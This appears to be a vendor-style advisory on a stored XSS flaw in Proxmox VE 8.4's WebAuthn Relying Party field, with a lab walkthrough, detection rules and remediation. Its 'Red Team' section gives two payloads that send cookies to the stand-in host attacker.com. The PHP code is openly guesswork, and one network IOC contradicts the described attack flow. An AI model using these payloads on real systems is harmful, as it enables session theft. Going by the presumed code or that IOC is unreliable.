CVE-2025-57540

Executive Summary

CVE-2025-57540 is a stored cross-site scripting (XSS) vulnerability discovered in the WebAuthn Relying Party field within the Datacenter configuration of Proxmox Virtual Environment (PVE) 8.4. An authenticated attacker with sufficient privileges can inject malicious JavaScript code into this field. When other administrators or users view the affected configuration page, the injected script executes in their browser, enabling client-side attacks such as session hijacking, credential theft, or further lateral movement within the Proxmox web interface.

The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the description and impact, a more realistic vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N, reflecting low confidentiality and integrity impact with user interaction required. No public exploit code or proof-of-concept is currently available, and no patch has been released by Proxmox as of this report.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network via the Proxmox web interface.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to inject the payload into the WebAuthn field.
• Privileges Required (PR): Low (L) – The attacker must be an authenticated user with access to the Datacenter configuration.
• User Interaction (UI): Required (R) – The victim must view the configuration page containing the malicious payload.
• Scope (S): Changed (C) – The injected script executes in the victim’s browser, affecting resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure, such as session tokens or configuration details.
• Integrity (I): Low (L) – The attacker can modify content within the victim’s session.
• Availability (A): None (N) – No impact on system availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS means that any administrator viewing the configuration page is at risk.

Deep Dive & Mechanics

The vulnerability resides in the WebAuthn Relying Party field, which is part of the Datacenter configuration in Proxmox VE. This field is intended to store a string identifier for WebAuthn authentication. However, the application fails to properly sanitize or encode user input before storing it and later rendering it in the web interface.

When an authenticated attacker modifies the WebAuthn Relying Party field to include a JavaScript payload (e.g., <script>alert('XSS')</script>), the payload is stored in the Proxmox backend database. Subsequently, when any user (including other administrators) navigates to the Datacenter configuration page, the stored value is retrieved and rendered in the HTML without proper escaping. The browser then executes the injected script in the context of the Proxmox web application.

This is a classic stored XSS vulnerability. The attack flow is:

1. Attacker authenticates to Proxmox VE.
2. Attacker navigates to Datacenter → Options → WebAuthn Relying Party.
3. Attacker injects a malicious JavaScript payload into the field.
4. Victim administrator views the Datacenter configuration page.
5. The payload executes in the victim’s browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the PHP or JavaScript handling of the WebAuthn Relying Party field. A typical vulnerable pattern would be:

Vulnerable (PHP):

$relyingParty = $_POST['webauthn_relying_party'];
// No sanitization
$db->save('config', $relyingParty);
// Later, when rendering:
echo "<input type='text' value='$relyingParty' />";

Patched (PHP):

$relyingParty = $_POST['webauthn_relying_party'];
$relyingParty = htmlspecialchars($relyingParty, ENT_QUOTES, 'UTF-8');
$db->save('config', $relyingParty);
// When rendering:
echo "<input type='text' value='$relyingParty' />";

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Proxmox VE 8.4 in a virtualized environment.
2. Create a low-privileged user account with access to the Datacenter configuration.
3. Log in as the attacker and navigate to Datacenter → Options → WebAuthn Relying Party.

Exploitation Steps:

1. Inject the following payload into the WebAuthn Relying Party field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Save the configuration.
3. Wait for an administrator to view the Datacenter configuration page.
4. The victim’s browser sends the cookie to the attacker’s server.

Alternative Payload:

<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor for unusual changes to the WebAuthn Relying Party field in configuration logs.
• Look for HTTP requests containing <script> or onerror patterns in the Proxmox web interface logs.
• Use a Web Application Firewall (WAF) to block XSS payloads in POST requests to configuration endpoints.

Mitigation:

• Restrict access to the Datacenter configuration to only trusted administrators.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Regularly audit configuration changes for suspicious entries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Proxmox server to unknown external domains (e.g., attacker.com).
  • POST requests to /api2/json/config or similar endpoints containing <script> tags.
• Host IOCs:
  • Modified WebAuthn Relying Party field in the Proxmox configuration database.
  • Unusual entries in /var/log/pveproxy/access.log or /var/log/syslog related to configuration changes.
• File IOCs:
  • Presence of JavaScript payloads in configuration files (e.g., /etc/pve/datacenter.cfg).

Detection Engineering

YARA Rule

rule CVE_2025_57540_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Proxmox configuration files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57540"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["'][^"']*["']/i
        $xss3 = /onload\s*=\s*["'][^"']*["']/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Proxmox WebAuthn XSS Payload Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects injection of XSS payloads into the WebAuthn Relying Party field in Proxmox VE
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: proxmox
detection:
    selection:
        http.method: 'POST'
        http.url: '/api2/json/config'
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in configuration (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57540 Proxmox WebAuthn XSS Injection"; flow:to_server; content:"POST"; http_method; content:"/api2/json/config"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit the number of users who can modify the Datacenter configuration. Use role-based access control (RBAC) to ensure only trusted administrators have write access.
2. Input Validation: Implement server-side input validation to reject any input containing HTML tags or JavaScript code in the WebAuthn Relying Party field.
3. Output Encoding: Ensure that all user-supplied data is properly HTML-encoded before being rendered in the web interface.

Long-Term Fix:

• Apply the official patch from Proxmox once released. Monitor the Proxmox security advisory page for updates.
• Upgrade to a patched version of Proxmox VE as soon as it becomes available.

Workaround:

• If patching is not immediately possible, consider disabling the WebAuthn feature or removing the Relying Party field from the configuration interface until a fix is applied.

Valters IT